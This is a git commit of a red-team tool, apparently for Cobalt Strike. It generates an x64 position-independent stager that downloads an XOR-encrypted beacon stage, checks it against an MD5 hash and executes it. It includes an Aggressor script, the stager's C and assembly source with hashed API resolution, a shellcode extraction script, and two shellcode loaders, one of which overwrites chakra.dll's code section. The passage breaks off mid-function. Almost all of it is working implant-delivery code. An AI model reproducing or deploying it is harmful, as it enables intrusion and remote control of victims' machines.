Initial commit

This commit is contained in:
Octoberfest7
2024-10-21 13:39:35 -04:00
commit c6cfb5d2e4
24 changed files with 23992 additions and 0 deletions
+91
View File
@@ -0,0 +1,91 @@
global('$listener $filename $shellcode $script')
#This function executes system commands and retrieves/parses the output.
sub ExecuteCmd
{
local('$command $output $data');
$command = $1;
#Append instructions to command to redirect stderr to processStdout
$command = $command . " 2>&1";
#Run command in a subshell to redirect stderr -> processStdout
$data = exec(@("/bin/sh", "-c", $command));
if($debug == 1)
{
println("Debug: " . $command);
}
$output = join("\n", readAll($data));
return $output;
}
popup payloads
{
item "Secure Stager"
{
local('$dialog %defaults');
# create our dialog
$dialog = dialog("Secure Stager Generation", %defaults, &gen_shellcode);
dialog_description($dialog, "Select a listener to generate an x64 secure stager for. Specify the URL that the stage will be hosted at (e.g. https://mycooldomain.com/important.bin)");
drow_listener_stage($dialog, "listener", "(*) Listener: ");
drow_text($dialog, "stage_url", "(*) URL for hosted stage: ");
dbutton_action($dialog, "Save");
# show our dialog
dialog_show($dialog);
}
}
sub gen_secure_stager
{
local('$command $output')
# Validate no space exists in url
if(" " isin $1)
{
show_error("Filename cannot have spaces!");
exit();
}
# Write shellcode to disk
$handle = openf("> $+ $1");
writeb($handle, $shellcode);
closef($handle);
# Set $filename to whatever was actually used by save prompt
$filename = $1;
# Call secure_stager.py to generate secure stager
$command = "$script $filename $stage_url";
$output = ExecuteCmd($command);
# If secure_stager.py failed, delete original shellcode file
if('[-]' isin $output)
{
deleteFile($filename);
}
# Print info to console just in case
println("\n$output");
# Pop window with output
show_message("$output\n\nThis information is also available in the script console.");
}
sub gen_shellcode
{
# Set global variables
$listener = $3['listener'];
$filename = substr($3['stage_url'], lindexOf($3['listener'], "/"));
$stage_url = $3['stage_url'];
$script = script_resource("../secure_stager.py");
# Generate shellcode using selected listener
$shellcode = artifact_payload($3['listener'], "raw", "x64", "process", "None");
# Save shellcode to disk
prompt_file_save($filename, &gen_secure_stager);
}
+35
View File
@@ -0,0 +1,35 @@
# Secure Stager
This project demonstrates an x64 position-independent stager that verifies the stage it downloads prior to executing it. This offers a safeguard against man-in-the-middle attacks for those who are concerned about such things. Final stager size ~4100 bytes.
## Technical Implementation
The stager generated by this tool was built using the [Stardust](https://github.com/Cracked5pider/Stardust) framework. Using user input, a header file (Config.h) is produced and compiled into the stager by secure_stager.py.
The validity of the retrieved stage is verified using its MD5 checksum. During the generation process the hash of the payload stage is determined and then used to XOR encrypt it. This hash is then compiled into the stager. At runtime the stager downloads the stage from the target URL (provided during generation), XOR decrypts it using the original MD5 hash, and then retrieves the MD5 hash of the decrypted stage in order to compare it against the original. If they match, the stage is executed.
## Cobalt Strike Integration
This tool can be integrated into Cobalt Strike through the use of the secure_stager.cna Aggressor script. After loading it in the script manager, the `Secure Stager` menu item can be found under `Payloads`. After selecting a listener and specifying the URL that the payload will be available at, the Aggressor script will generate a raw x64 stageless beacon and save it to disk before calling secure_stager.py to generate the stager.
Secure stager functionality within Cobalt Strike is particularly attractive because Cobalt Strike's built-in stager functionality neither verifies the retrieved stage nor fetches a stage that reflects user modifications to the sleepmask or UDRL. This toolkit both ensures the validity of the stage and that the fetched stage will contain user-modified sleepmask/UDRL/etc.
## Usage
Command Line Syntax: `./secure_stager.py </path/to/raw/file> <HTTPS url that stage will be hosted at>`.
Example: `./secure_stager.py /home/kali/beacon_x64.bin https://www.myhostingdomain.com/aboutus`.
After the python script completes, host the produced encrypted stage at the URL that you provided to the tool. Next include the generated stager in your favorite dropper/shellcode runner.
## Notes
There are no AV/EDR evasion methods built into the stager; that is the job of your shellcode runner. After the stage has been downloaded and verified it will be executed in the same thread as the stager via function pointer.
## Further work
1. Make stager proxy-aware.
2. Add customization options for request headers.
## Credits
1. [@C5pider](https://x.com/C5pider) for Stardust
2. Various StackOverflow posts
+21
View File
@@ -0,0 +1,21 @@
cmake_minimum_required( VERSION 3.27 )
project( Stardust )
set( CMAKE_CXX_STANDARD 11 )
set( CMAKE_CXX_COMPILER x86_64-w64-mingw32-g++ )
set( CMAKE_CXX_FLAGS ${COMPILE_FLAGS} )
set( CMAKE_C_STANDARD 11 )
set( CMAKE_C_COMPILER x86_64-w64-mingw32-gcc )
set( CMAKE_C_FLAGS ${COMPILE_FLAGS} )
include_directories( include )
set( STARDUST-SRC
src/PreMain.c
src/Main.c
src/Ldr.c
src/Utils.c
)
add_executable( Stardust ${STARDUST-SRC} )
+51
View File
@@ -0,0 +1,51 @@
# Stardust
An modern 64-bit position independent implant template.
- raw strings
- global instance
- compile time hashing
```c
#include <Common.h>
#include <Constexpr.h>
FUNC VOID Main(
_In_ PVOID Param
) {
STARDUST_INSTANCE
PVOID Message = { 0 };
//
// resolve kernel32.dll related functions
//
if ( ( Instance()->Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) {
if ( ! ( Instance()->Win32.LoadLibraryW = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "LoadLibraryW" ) ) ) ) {
return;
}
}
//
// resolve user32.dll related functions
//
if ( ( Instance()->Modules.User32 = Instance()->Win32.LoadLibraryW( L"User32" ) ) ) {
if ( ! ( Instance()->Win32.MessageBoxW = LdrFunction( Instance()->Modules.User32, HASH_STR( "MessageBoxW" ) ) ) ) {
return;
}
}
Message = NtCurrentPeb()->ProcessParameters->ImagePathName.Buffer;
//
// pop da message
//
Instance()->Win32.MessageBoxW( NULL, Message, L"Stardust MessageBox", MB_OK );
}
```
## How does it work ?
I have written a [Blog post](https://5pider.net/blog/2024/01/27/modern-shellcode-implant-design/) about how it fully works and the reason behind it.
![Stardust messagebox](https://5pider.net/assets/images/MessagePop-4e72bc8a03044463b6afa71d8881646a.png)
+83
View File
@@ -0,0 +1,83 @@
;;
;; Stardust
;;
[BITS 64]
;;
;; tell the compiler to access
;; symbols relative to RIP
;;
DEFAULT REL
;;
;; Import
;;
EXTERN PreMain
;;
;; Export
;;
GLOBAL Start
GLOBAL StRipStart
GLOBAL StRipEnd
;;
;; Main shellcode entrypoint.
;;
[SECTION .text$A]
;;
;; shellcode entrypoint
;; aligns the stack by 16-bytes to avoid any unwanted
;; crashes while calling win32 functions and execute
;; the true C code entrypoint
;;
Start:
push rsi
mov rsi, rsp
and rsp, 0FFFFFFFFFFFFFFF0h
sub rsp, 020h
call PreMain
mov rsp, rsi
pop rsi
ret
;;
;; get rip to the start of the agent
;;
StRipStart:
call StRipPtrStart
ret
;;
;; get the return address of StRipStart and put it into the rax register
;;
StRipPtrStart:
mov rax, [rsp] ;; get the return address
sub rax, 0x1b ;; subtract the instructions size to get the base address
ret ;; return to StRipStart
;;
;; end of the implant code
;;
[SECTION .text$E]
;;
;; get end of the implant
;;
StRipEnd:
call StRetPtrEnd
ret
;;
;; get the return address of StRipEnd and put it into the rax register
;;
StRetPtrEnd:
mov rax, [rsp] ;; get the return address
add rax, 0xb ;; get implant end address
ret ;; return to StRipEnd
[SECTION .text$P]
SymStardustEnd:
db 'S', 'T', 'A', 'R', 'D', 'U', 'S', 'T', '-', 'E', 'N', 'D'
View File
+113
View File
@@ -0,0 +1,113 @@
#ifndef STARDUST_COMMON_H
#define STARDUST_COMMON_H
//
// system headers
//
#include <windows.h>
#include <wininet.h>
#include <wincrypt.h>
#include <cstdio>
//
// stardust headers
//
#include <Native.h>
#include <Macros.h>
#include <Ldr.h>
#include <Defs.h>
#include <Utils.h>
#include <Config.h>
//
// stardust instances
//
EXTERN_C ULONG __Instance_offset;
EXTERN_C PVOID __Instance;
typedef struct _INSTANCE {
//
// base address and size
// of the implant
//
BUFFER Base;
struct {
//
// Ntdll.dll
//
D_API( RtlAllocateHeap )
D_API( NtProtectVirtualMemory )
//
// kernel32.dll
//
D_API( LoadLibraryW )
D_API( VirtualAlloc )
D_API( VirtualProtect )
D_API( VirtualFree )
D_API( GetLastError )
//
// User32.dll
//
D_API( MessageBoxA )
//
// Msvcrt.dll
//
D_API ( strlen );
D_API ( strcmp)
D_API ( sprintf );
D_API ( calloc );
D_API ( memset );
D_API ( free );
//
// Wininet.dll
//
D_API( InternetOpenA );
D_API( InternetConnectA );
D_API( HttpOpenRequestA );
D_API( HttpSendRequestA );
D_API( HttpQueryInfoA );
D_API( InternetQueryOptionA );
D_API( InternetSetOptionA );
D_API( InternetReadFile );
D_API( InternetCloseHandle );
//
// Advapi.dll
//
D_API( CryptAcquireContextA );
D_API( CryptCreateHash );
D_API( CryptHashData );
D_API( CryptGetHashParam );
D_API( CryptDestroyHash );
D_API( CryptReleaseContext );
} Win32;
struct {
PVOID Ntdll;
PVOID Kernel32;
PVOID User32;
PVOID Msvcrt;
PVOID Wininet;
PVOID Advapi32;
} Modules;
} INSTANCE, *PINSTANCE;
EXTERN_C PVOID StRipStart();
EXTERN_C PVOID StRipEnd();
VOID Main(
_In_ PVOID Param
);
#define MD5LEN 16
#endif //STARDUST_COMMON_H
+3
View File
@@ -0,0 +1,3 @@
#define MD5HASH "10bd8749330fa44579036b2da5b6a375"
#define URL "192.168.1.251"
#define URI "/pears"
+32
View File
@@ -0,0 +1,32 @@
#ifndef STARDUST_CONSTEXPR_H
#define STARDUST_CONSTEXPR_H
#include <Common.h>
#define HASH_STR( x ) ExprHashStringA( ( x ) )
CONSTEXPR ULONG ExprHashStringA(
_In_ PCHAR String
) {
ULONG Hash = { 0 };
CHAR Char = { 0 };
Hash = H_MAGIC_KEY;
if ( ! String ) {
return 0;
}
while ( ( Char = *String++ ) ) {
/* turn current character to uppercase */
if ( Char >= 'a' ) {
Char -= 0x20;
}
Hash = ( ( Hash << H_MAGIC_SEED ) + Hash ) + Char;
}
return Hash;
}
#endif //STARDUST_CONSTEXPR_H
+20
View File
@@ -0,0 +1,20 @@
#ifndef STARDUST_DEFS_H
#define STARDUST_DEFS_H
#include <Common.h>
typedef struct _BUFFER {
PVOID Buffer;
ULONG Length;
} BUFFER, *PBUFFER;
//
// Hashing defines
//
#define H_MAGIC_KEY 5381
#define H_MAGIC_SEED 5
#define H_MODULE_NTDLL 0x70e61753
#define H_MODULE_KERNEL32 0xadd31df0
#endif //STARDUST_DEFS_H
+15
View File
@@ -0,0 +1,15 @@
#ifndef STARDUST_LDR_H
#define STARDUST_LDR_H
#include <Common.h>
PVOID LdrModulePeb(
_In_ ULONG Hash
);
PVOID LdrFunction(
_In_ PVOID Module,
_In_ ULONG Function
);
#endif //STARDUST_LDR_H
+59
View File
@@ -0,0 +1,59 @@
#ifndef STARDUST_MACROS_H
#define STARDUST_MACROS_H
//
// instance related macros
//
#define InstanceOffset() ( U_PTR( & __Instance_offset ) )
#define InstancePtr() ( ( PINSTANCE ) C_DEF( C_PTR( U_PTR( StRipStart() ) + InstanceOffset() ) ) )
#define Instance() ( ( PINSTANCE ) __LocalInstance )
#define STARDUST_INSTANCE PINSTANCE __LocalInstance = InstancePtr();
//
// utils macros
//
#define D_API( x ) __typeof__( x ) * x;
#define D_SEC( x ) __attribute__( ( section( ".text$" #x "" ) ) )
#define FUNC D_SEC( B )
#define ST_GLOBAL __attribute__( ( section( ".global" ) ) )
#define ST_READONLY __attribute__( ( section( ".rdata" ) ) )
//
// casting macros
//
#define C_PTR( x ) ( ( PVOID ) ( x ) )
#define U_PTR( x ) ( ( UINT_PTR ) ( x ) )
#define U_PTR32( x ) ( ( ULONG ) ( x ) )
#define U_PTR64( x ) ( ( ULONG64 ) ( x ) )
#define A_PTR( x ) ( ( PCHAR ) ( x ) )
#define W_PTR( x ) ( ( PWCHAR ) ( x ) )
//
// dereference memory macros
//
#define C_DEF( x ) ( * ( PVOID* ) ( x ) )
#define C_DEF08( x ) ( * ( UINT8* ) ( x ) )
#define C_DEF16( x ) ( * ( UINT16* ) ( x ) )
#define C_DEF32( x ) ( * ( UINT32* ) ( x ) )
#define C_DEF64( x ) ( * ( UINT64* ) ( x ) )
//
// memory related macros
//
#define MmCopy __builtin_memcpy
#define MmSet __stosb
#define MmZero RtlSecureZeroMemory
/* Clion IDE hacks */
#ifdef __cplusplus
#define CONSTEXPR constexpr
#define TEMPLATE_TYPENAME template <typename T>
#define INLINE inline
#else
#define CONSTEXPR
#define TEMPLATE_TYPENAME
#define INLINE
#endif
#endif //STARDUST_MACROS_H
File diff suppressed because it is too large Load Diff
+9
View File
@@ -0,0 +1,9 @@
#ifndef STARDUST_UTILS_H
#define STARDUST_UTILS_H
ULONG HashString(
_In_ PVOID String,
_In_ SIZE_T Length
);
#endif //STARDUST_UTILS_H
+71
View File
@@ -0,0 +1,71 @@
MAKEFLAGS += "-s -j 16"
##
## Project name
##
Project := stardust
##
## Compilers
##
CC_X64 := x86_64-w64-mingw32-g++
##
## Compiler flags
##
CFLAGS := -Os -fno-asynchronous-unwind-tables -nostdlib
CFLAGS += -fno-ident -fpack-struct=8 -falign-functions=1
CFLAGS += -s -ffunction-sections -falign-jumps=1 -w
CFLAGS += -falign-labels=1 -fPIC -Wl,-Tscripts/Linker.ld
CFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup
CFLAGS += -Iinclude -masm=intel -fpermissive -mrdrnd
##
## Stardust source and object files
##
STAR-SRC := $(wildcard src/*.c)
STAR-OBJ := $(STAR-SRC:%.c=%.o)
##
## x64 binaries
##
EXE-X64 := bin/$(Project).x64.exe
BIN-X64 := bin/$(Project).x64.bin
##
## main target
##
all: x64
##
## Build stardust source into an
## executable and extract shellcode
##
x64: clean asm-x64 $(STAR-OBJ)
@ echo "[+] compile x64 executable"
@ $(CC_X64) bin/obj/*.x64.o -o $(EXE-X64) $(CFLAGS)
@ python3 scripts/build.py -f $(EXE-X64) -o $(BIN-X64)
@ rm $(EXE-X64)
##
## Build source to object files
##
$(STAR-OBJ):
@ $(CC_X64) -o bin/obj/$(Project)_$(basename $(notdir $@)).x64.o -c $(basename $@).c $(CFLAGS)
##
## Build assemlby source to object files
##
asm-x64:
@ echo "[*] compile assembly files"
@ nasm -f win64 asm/x64/Stardust.asm -o bin/obj/asm_Stardust.x64.o
##
## Clean object files and other binaries
##
clean:
@ rm -rf .idea
@ rm -rf bin/obj/*.o
@ rm -rf bin/*.bin
@ rm -rf bin/*.exe
@ rm -rf cmake-build-debug
+24
View File
@@ -0,0 +1,24 @@
LINK_BASE = 0x0000;
ENTRY( Start )
SECTIONS
{
. = LINK_BASE;
.text : {
. = LINK_BASE;
*( .text$A );
*( .text$B );
*( .rdata* );
FILL( 0x00 )
. = ALIGN( 0x1000 );
__Instance_offset = .;
*( .global );
*( .text$E );
*( .text$P );
}
.eh_frame : {
*( .eh_frame )
}
}
+74
View File
@@ -0,0 +1,74 @@
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import pefile
import argparse
STARDUST_END : bytes = b'STARDUST-END'
PAGE_SIZE : int = 0x1000
##
## calculates the given size to pages
##
def size_to_pages( size: int ) -> int:
PAGE_MASK : int = 0xfff
BASE_PAGE_SHIFT : int = 12
return ( size >> BASE_PAGE_SHIFT ) + ( ( size & PAGE_MASK ) != 0 )
##
## parse specified executable file and
## save .text section shellcode into a file
##
def main() -> None:
parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' )
parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str )
parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str )
option = parser.parse_args()
executable = pefile.PE( option.f )
shellcode = bytearray( executable.sections[ 0 ].get_data() )
shellcode = shellcode[ : shellcode.find( STARDUST_END ) ]
size = len( shellcode )
##
## calculate pages
##
pages = size_to_pages( size )
padding = ( ( pages * PAGE_SIZE ) - size )
##
## fill the padding to have a full page
##
# Commented this out as we don't need to pad to a new page for our purposes
#for i in range( padding ):
#shellcode.append( 0 )
##
## get size of shellcode
##
size = len( shellcode )
##
## print metadata
##
print( f"[*] payload len : { size - padding } bytes" )
print( f"[*] size : { size } bytes" )
print( f"[*] padding : { padding } bytes" )
print( f"[*] page count : { size / PAGE_SIZE } pages" )
##
## open shellcode file
##
file = open( option.o, 'wb+' )
##
## write shellcode to file
##
file.write( shellcode )
file.close()
return
if __name__ in '__main__':
main()
+61
View File
@@ -0,0 +1,61 @@
#include <windows.h>
#include <stdio.h>
LPVOID LoadFileIntoMemory( LPSTR Path, PDWORD MemorySize ) {
PVOID ImageBuffer = NULL;
DWORD dwBytesRead = 0;
HANDLE hFile = NULL;
hFile = CreateFileA( Path, GENERIC_READ, 0, 0, OPEN_ALWAYS, 0, 0 );
if (hFile == INVALID_HANDLE_VALUE)
{
printf( "Error opening %s\r\n", Path );
return NULL;
}
if ( MemorySize )
*MemorySize = GetFileSize( hFile, 0 );
ImageBuffer = ( PBYTE ) LocalAlloc( LPTR, *MemorySize );
ReadFile( hFile, ImageBuffer, *MemorySize, &dwBytesRead, 0 );
CloseHandle( hFile );
return ImageBuffer;
}
typedef void ( * ShellcodeMain )();
int main( int argc, char** argv )
{
PVOID ShellcodeBytes = NULL;
DWORD ShellcodeSize = 0;
DWORD OldProtection = 0;
LPVOID ShellcodeMemory = NULL;
if ( argc < 2 )
{
printf( "[-] %s <shellcode path>\n", argv[ 0 ] );
return 0;
}
ShellcodeBytes = LoadFileIntoMemory( argv[ 1 ], &ShellcodeSize );
ShellcodeMemory = VirtualAlloc( NULL, ShellcodeSize, MEM_COMMIT, PAGE_READWRITE );
if ( ! ShellcodeMemory )
{
printf("[-] Failed to allocate Virtual Memory\n");
return 0;
}
printf( "[*] Address => %p\n", ShellcodeMemory );
memcpy( ShellcodeMemory, ShellcodeBytes, ShellcodeSize );
VirtualProtect( ShellcodeMemory, ShellcodeSize, PAGE_EXECUTE_READ, &OldProtection );
puts("[+] Execute shellcode... press enter");
getchar();
((ShellcodeMain)ShellcodeMemory)();
}
+117
View File
@@ -0,0 +1,117 @@
#include <windows.h>
#include <stdio.h>
#include "../include/Native.h"
#include "../include/Macros.h"
LPVOID LoadFileIntoMemory( LPSTR Path, PDWORD MemorySize ) {
PVOID ImageBuffer = NULL;
DWORD dwBytesRead = 0;
HANDLE hFile = NULL;
hFile = CreateFileA( Path, GENERIC_READ, 0, 0, OPEN_ALWAYS, 0, 0 );
if (hFile == INVALID_HANDLE_VALUE)
{
printf( "Error opening %s\r\n", Path );
return NULL;
}
if ( MemorySize )
*MemorySize = GetFileSize( hFile, 0 );
ImageBuffer = ( PBYTE ) LocalAlloc( LPTR, *MemorySize );
ReadFile( hFile, ImageBuffer, *MemorySize, &dwBytesRead, 0 );
CloseHandle( hFile );
return ImageBuffer;
}
PIMAGE_NT_HEADERS LdrpImageHeader(
_In_ PVOID Image
) {
PIMAGE_DOS_HEADER DosHeader = { 0 };
PIMAGE_NT_HEADERS NtHeader = { 0 };
DosHeader = C_PTR( Image );
if ( DosHeader->e_magic != IMAGE_DOS_SIGNATURE ) {
return NULL;
}
NtHeader = C_PTR( U_PTR( Image ) + DosHeader->e_lfanew );
if ( NtHeader->Signature != IMAGE_NT_SIGNATURE ) {
return NULL;
}
return NtHeader;
}
int main( int argc, char** argv ) {
PVOID MmBase = { 0 };
PIMAGE_NT_HEADERS Header = { 0 };
PIMAGE_SECTION_HEADER SecHdr = { 0 };
NTSTATUS Status = { 0 };
ULONG Protect = { 0 };
PVOID Buffer = { 0 };
ULONG Length = { 0 };
HANDLE Thread = { 0 };
//
// load shellcode into memory
//
if ( ! ( Buffer = LoadFileIntoMemory( argv[ 1 ], &Length ) ) ) {
puts( "[!] Failed to load shellcode into memory" );
goto END;
} else printf( "[*] loaded \"%s\" @ %p [%ld bytes]\n", argv[ 1 ], Buffer, Length );
if ( ! ( MmBase = LoadLibraryExA( "chakra.dll", NULL, DONT_RESOLVE_DLL_REFERENCES ) ) ) {
printf( "[!] LoadLibraryA Failed: %ld\n", GetLastError() );
goto END;
} else printf( "[*] loaded \"chakra.dll\" @ %p\n", MmBase );
Header = C_PTR( U_PTR( MmBase ) + ( ( PIMAGE_DOS_HEADER ) MmBase )->e_lfanew );
SecHdr = IMAGE_FIRST_SECTION( Header );
for ( ULONG i = 0; i < Header->FileHeader.NumberOfSections; i++ ) {
if ( strcmp( C_PTR( SecHdr[ i ].Name ), ".text" ) ) {
break;
}
}
MmBase = MmBase + SecHdr->VirtualAddress;
printf( "[*] target code section @ %p [%ld bytes]\n", MmBase, SecHdr->SizeOfRawData );
if ( ! VirtualProtect( MmBase, SecHdr->SizeOfRawData, PAGE_READWRITE, & Protect ) ) {
printf( "[!] VirtualProtect Failed: %ld\n", GetLastError() );
goto END;
}
memcpy( MmBase, Buffer, Length );
if ( ! VirtualProtect( MmBase, SecHdr->SizeOfRawData, Protect, & Protect ) ) {
printf( "[!] VirtualProtect Failed: %ld\n", GetLastError() );
goto END;
}
puts( "[*] wrote shellcode into target module" );
printf( "[*] press enter..." );
getchar();
if ( ! ( Thread = CreateThread( NULL, 0, MmBase, NULL, 0, NULL ) ) ) {
printf( "[*] CreateThread Failed: %ld\n", GetLastError() );
goto END;
}
WaitForSingleObject( Thread, INFINITE );
END:
if ( Thread ) {
CloseHandle( Thread );
Thread = NULL;
}
return 0;
}
+143
View File
@@ -0,0 +1,143 @@
#include <Common.h>
/*!
* @brief
* resolve module from peb
*
* @param Buffer
* Buffer: either string or hash
*
* @param Hashed
* is the Buffer a hash value
*
* @return
* module base pointer
*/
FUNC PVOID LdrModulePeb(
_In_ ULONG Hash
) {
PLDR_DATA_TABLE_ENTRY Data = { 0 };
PLIST_ENTRY Head = { 0 };
PLIST_ENTRY Entry = { 0 };
Head = & NtCurrentPeb()->Ldr->InLoadOrderModuleList;
Entry = Head->Flink;
for ( ; Head != Entry ; Entry = Entry->Flink ) {
Data = C_PTR( Entry );
if ( HashString( Data->BaseDllName.Buffer, Data->BaseDllName.Length ) == Hash ) {
return Data->DllBase;
}
}
return NULL;
}
/*!
* @brief
* retrieve image header
*
* @param Image
* image base pointer to retrieve header from
*
* @return
* pointer to Nt Header
*/
FUNC PIMAGE_NT_HEADERS LdrpImageHeader(
_In_ PVOID Image
) {
PIMAGE_DOS_HEADER DosHeader = { 0 };
PIMAGE_NT_HEADERS NtHeader = { 0 };
DosHeader = C_PTR( Image );
if ( DosHeader->e_magic != IMAGE_DOS_SIGNATURE ) {
return NULL;
}
NtHeader = C_PTR( U_PTR( Image ) + DosHeader->e_lfanew );
if ( NtHeader->Signature != IMAGE_NT_SIGNATURE ) {
return NULL;
}
return NtHeader;
}
FUNC PVOID LdrFunction(
_In_ PVOID Library,
_In_ ULONG Function
) {
PVOID Address = { 0 };
PIMAGE_NT_HEADERS NtHeader = { 0 };
PIMAGE_EXPORT_DIRECTORY ExpDir = { 0 };
SIZE_T ExpDirSize = { 0 };
PDWORD AddrNames = { 0 };
PDWORD AddrFuncs = { 0 };
PWORD AddrOrdns = { 0 };
PCHAR FuncName = { 0 };
//
// sanity check arguments
//
if ( ! Library || ! Function ) {
return NULL;
}
//
// retrieve header of library
//
if ( ! ( NtHeader = LdrpImageHeader( Library ) ) ) {
return NULL;
}
//
// parse the header export address table
//
ExpDir = C_PTR( Library + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress );
ExpDirSize = NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size;
AddrNames = C_PTR( Library + ExpDir->AddressOfNames );
AddrFuncs = C_PTR( Library + ExpDir->AddressOfFunctions );
AddrOrdns = C_PTR( Library + ExpDir->AddressOfNameOrdinals );
//
// iterate over export address table director
//
for ( DWORD i = 0; i < ExpDir->NumberOfNames; i++ ) {
//
// retrieve function name
//
FuncName = C_PTR( U_PTR( Library ) + AddrNames[ i ] );
//
// hash function name from Iat and
// check the function name is what we are searching for.
// if not found keep searching.
//
if ( HashString( FuncName, 0 ) != Function ) {
continue;
}
//
// resolve function pointer
//
Address = C_PTR( U_PTR( Library ) + AddrFuncs[ AddrOrdns[ i ] ] );
//
// check if function is a forwarded function
//
if ( ( U_PTR( Address ) >= U_PTR( ExpDir ) ) &&
( U_PTR( Address ) < U_PTR( ExpDir ) + ExpDirSize )
) {
//
// TODO: need to add support for forwarded functions
//
__debugbreak();
}
break;
}
return Address;
}
+218
View File
@@ -0,0 +1,218 @@
#include <Common.h>
#include <Constexpr.h>
FUNC VOID Xor (
_In_ PCHAR bin,
_In_ int len
) {
STARDUST_INSTANCE
int i;
int keyLength = Instance()->Win32.strlen(MD5HASH);
char key[] = MD5HASH;
for( i = 0 ; i < len ; i++ )
{
bin[i]=bin[i]^key[i%keyLength];
}
return;
}
FUNC VOID Main(
_In_ PVOID Param
) {
STARDUST_INSTANCE
//
// resolve kernel32.dll related functions
//
if ( ( Instance()->Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) {
if ( ! ( Instance()->Win32.LoadLibraryW = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "LoadLibraryW" ) ) ) ||
! ( Instance()->Win32.VirtualAlloc = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "VirtualAlloc" ) ) ) ||
! ( Instance()->Win32.VirtualProtect = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "VirtualProtect" ) ) ) ||
! ( Instance()->Win32.VirtualFree = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "VirtualFree" ) ) ) ||
! ( Instance()->Win32.GetLastError = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "GetLastError" ) ) ) ) {
return;
}
}
//
// resolve user32.dll related functions
//
if ( ( Instance()->Modules.User32 = Instance()->Win32.LoadLibraryW( L"User32" ) ) ) {
if ( ! ( Instance()->Win32.MessageBoxA = LdrFunction( Instance()->Modules.User32, HASH_STR( "MessageBoxA" ) ) ) ) {
return;
}
}
//
// resolve Msvcrt.dll related functions
//
if ( ( Instance()->Modules.Msvcrt = Instance()->Win32.LoadLibraryW( L"Msvcrt" ) ) ) {
if ( ! ( Instance()->Win32.strlen = LdrFunction( Instance()->Modules.Msvcrt, HASH_STR( "strlen" ) ) ) ||
! ( Instance()->Win32.strcmp = LdrFunction( Instance()->Modules.Msvcrt, HASH_STR( "strcmp" ) ) ) ||
! ( Instance()->Win32.calloc = LdrFunction( Instance()->Modules.Msvcrt, HASH_STR( "calloc" ) ) ) ||
! ( Instance()->Win32.memset = LdrFunction( Instance()->Modules.Msvcrt, HASH_STR( "memset" ) ) ) ||
! ( Instance()->Win32.free = LdrFunction( Instance()->Modules.Msvcrt, HASH_STR( "free" ) ) ) ||
! ( Instance()->Win32.sprintf = LdrFunction( Instance()->Modules.Msvcrt, HASH_STR( "sprintf" ) ) ) ) {
return;
}
}
//
// resolve wininet.dll related functions
//
if ( ( Instance()->Modules.Wininet = Instance()->Win32.LoadLibraryW( L"wininet" ) ) ) {
if ( ! ( Instance()->Win32.InternetOpenA = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "InternetOpenA" ) ) ) ||
! ( Instance()->Win32.InternetConnectA = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "InternetConnectA" ) ) ) ||
! ( Instance()->Win32.HttpOpenRequestA = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "HttpOpenRequestA" ) ) ) ||
! ( Instance()->Win32.HttpSendRequestA = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "HttpSendRequestA" ) ) ) ||
! ( Instance()->Win32.HttpQueryInfoA = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "HttpQueryInfoA" ) ) ) ||
! ( Instance()->Win32.InternetQueryOption = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "InternetQueryOptionA" ) ) ) ||
! ( Instance()->Win32.InternetSetOption = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "InternetSetOptionA" ) ) ) ||
! ( Instance()->Win32.InternetCloseHandle = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "InternetCloseHandle" ) ) ) ||
! ( Instance()->Win32.InternetReadFile = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "InternetReadFile" ) ) ) ) {
return;
}
}
//
// resolve advapi.dll related functions
//
if ( ( Instance()->Modules.Advapi32 = Instance()->Win32.LoadLibraryW( L"advapi32" ) ) ) {
if ( ! ( Instance()->Win32.CryptAcquireContextA = LdrFunction( Instance()->Modules.Advapi32, HASH_STR( "CryptAcquireContextA" ) ) ) ||
! ( Instance()->Win32.CryptCreateHash = LdrFunction( Instance()->Modules.Advapi32, HASH_STR( "CryptCreateHash" ) ) ) ||
! ( Instance()->Win32.CryptHashData = LdrFunction( Instance()->Modules.Advapi32, HASH_STR( "CryptHashData" ) ) ) ||
! ( Instance()->Win32.CryptGetHashParam = LdrFunction( Instance()->Modules.Advapi32, HASH_STR( "CryptGetHashParam" ) ) ) ||
! ( Instance()->Win32.CryptDestroyHash = LdrFunction( Instance()->Modules.Advapi32, HASH_STR( "CryptDestroyHash" ) ) ) ||
! ( Instance()->Win32.CryptReleaseContext = LdrFunction( Instance()->Modules.Advapi32, HASH_STR( "CryptReleaseContext" ) ) ) ) {
return;
}
}
// Web
HINTERNET hInternet = NULL;
HINTERNET hConnect = NULL;
HINTERNET hRequest = NULL;
PCHAR useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36";
PCSTR acceptTypes[] = { "*/*", NULL };
DWORD dwBufLen = 0;
DWORD dwSize = sizeof(DWORD);
DWORD dwBytesRead = -1;
BOOL bKeepReading = TRUE;
PVOID pBuffer = NULL;
DWORD dwFlags;
DWORD dwFlagsLen = sizeof(dwFlags);
// Crypto
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
BOOL bAcquireSuccess = FALSE;
BOOL bCreateSuccess = FALSE;
BYTE bRawHash[MD5LEN];
DWORD dwHashLen = MD5LEN;
CHAR charset[] = "0123456789abcdef";
